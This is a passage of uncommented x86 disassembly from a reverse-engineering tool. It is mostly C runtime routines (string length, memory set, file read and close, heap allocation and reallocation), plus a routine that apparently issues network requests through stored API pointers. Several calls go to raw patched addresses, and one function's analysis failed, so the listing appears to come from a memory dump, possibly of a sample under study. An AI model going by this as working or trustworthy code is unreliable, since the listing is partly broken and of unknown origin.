		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A060
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB08C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE68
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A1C4
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A1BC
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------

loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A1B8

loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------

loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A1B4
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A170
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A2A4
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAEA0
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAF78
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF6C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAF18
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A288
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A24C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A230
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------

loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A204
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------

loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1D4

loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h

loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFD8
		push	[ebp+var_4]
		call	dword_4CAFD8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000

loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0

loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------

loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------

loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------

loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi

loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------

loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi

loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2790000h

loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------

loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------

loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]

loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax

loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx

loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------

loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax

loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]

loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------

loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h

loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	loc_41B342

loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC940
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi

loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h

loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5

loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi

loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi

loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h

loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A

loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi

loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2850000h
		mov	edi, eax

loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B

loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB32C, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------

loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------

loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------

loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi

loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C324
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------

loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi

loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h

loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B

loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi

loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------

loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2850000h
		mov	edi, eax

loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B

loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB32C, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------

loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi

loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		call	near ptr 2850000h
		nop
		test	eax, eax
		jnz	short loc_41B49D

loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB32C, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D

loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax

loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------

loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB32C
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510

loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE

loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC948
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC940
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------

loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi

loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C324
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------

loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi

loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 27A0000h
		nop

loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
